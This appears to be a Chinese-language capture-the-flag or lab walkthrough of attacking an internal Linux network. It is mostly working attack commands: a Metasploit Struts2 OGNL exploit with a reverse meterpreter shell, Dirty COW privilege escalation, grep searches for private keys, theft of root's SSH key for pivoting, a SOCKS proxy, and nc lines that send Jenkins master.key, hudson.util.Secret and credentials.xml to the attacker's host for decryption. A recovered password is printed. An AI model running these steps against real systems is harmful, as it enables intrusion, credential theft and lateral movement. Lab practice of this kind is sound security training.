实验环境及图解:
通过网盘分享的文件:137-Linux内网环境镜像文件
链接: https://pan.baidu.com/s/1W_5DvhbkGYMqML4mi1rjQA?pwd=ad6r 提取码: ad6r
一般情况下SSH密钥存放在~/.ssh/目录下,也可以文件中搜索已保存的SSH凭证
~/.ssh/config
~/.ssh/known_hosts
~/.bash_history
文件中搜索已经保存的ssh
grep -ir "BEGIN RSA PRIVATE KEY" /*
grep -ir "BEGIN DSA PRIVATE KEY" /*
grep -ir "BEGIN OPENSSH PRIVATE KEY" /*
nmap信息收集ip以及开放端口
别的两台主机做了限制,没办法访问
80端口页面
8080端口页面
80页面中有版本,opencms 10.5.3只有一个xxe漏洞
下面还有一个页面有漏洞/struts2-showcase/show-action,但是我也不知道这是怎么来的目录扫描也扫不到(没这个字典)
msf利用strust工具
use exploit/multi/http/struts2_content_type_ognl
set payload linux/x64/meterpreter/reverse_tcp
set rhosts 172.16.250.10
set lhost 172.16.250.128
set rport 80
run
查看目前获得的权限
上传les.sh文件GitHub - rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks
加执行权限,执行
扫描出来脏牛漏洞
这里利用dirty漏洞进行提权,这篇文章复现过一次
第103天: 权限提升-Linux 系统&辅助项目&脏牛&Dirty&内核漏洞&SUID&GUID_103-linux提升-内核&suid&辅助&环境&exp等-CSDN博客
下载这个c文件到本地
编译,并且加权限执行
gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread #编译
python3 -c "import pty;pty.spawn('/bin/bash')" #开启python子bash,脏牛漏洞得利用该bash去反弹shell
chmod +x ./dirtycow-mem
./dirtycow-mem
这个执行完成后要保证系统稳定,需要执行下面的两条命令,速度要快,不然系统会崩溃,所以就是该漏洞要谨慎去使用
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn
确保稳定性
查看数据库配置文件,发现这里是站库分离
cat /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties
查看历史,发现利用了这个rsa去连接过30的root用户,所以要把这个文件保存在本地root目录下
把id_rsa复制到本地,利用
cp /root/.ssh/id_rsa /tmp/id_rsa
chmod 777 id_rsa #需要赋予权限才可以下载
download /tmp/id_rsa /root/id_rsa
chmod 777 id_rsa #恢复原来的权限,否则需要输入root密码
ssh -i id_rsa root@172.16.250.30
复制到本地
这里这个文件需要复制到本地root用户目录下去执行,因为我本来登录的时候是kali,所以只能复制到tmp下然后移动到/root目录下
信息收集
查看端口
正常访问是访问不了的,通过第一张图片了解到8080端口需要通过10主机去访问,设置sockets代理去访问
首先需要添加路由
设置代理
use auxiliary/server/socks_proxy
set version 5
run
这里有个扩充知识点
注意这里:
dynamic_chain:下方代理节点有一条测试正确也可以使用
strict_chain:如果下方设置了多个节点,必须都测试正确才可以使用
先测试能够访问
浏览器要访问的话需要设置代理
tomcat9.0.7版本相对安全
/jenkins页面
里面有一个凭据页面
利用nc把jenkins的相关密码文件传送过来,因为这里是30只让10访问,所以只能反向传输
kali
nc -lvp 1234 > master.key
nc -lvp 1234 > hudson.util.Secret
nc -lvp 1234 > credentials.xml
30主机
nc 172.16.250.128 1234 < /home/jenkins/secrets/master.key
nc 172.16.250.128 1234 < /home/jenkins/secrets/hudson.util.Secret
nc 172.16.250.128 1234 < /home/jenkins/credentials.xml
其他两个文件也是同样的方式传输
利用python脚本破解,这里python不能使用太高的版本
GitHub - cheetz/jenkins-decrypt: Credentials dumper for Jenkins
python decrypt.py master.key hudson.util.Secret credentials.xml
密码为: )uDvra{4UL^;r?*h
连接
这里其实我还是不太理解不是别的IP不让访问ssh嘛,为啥可以直接连接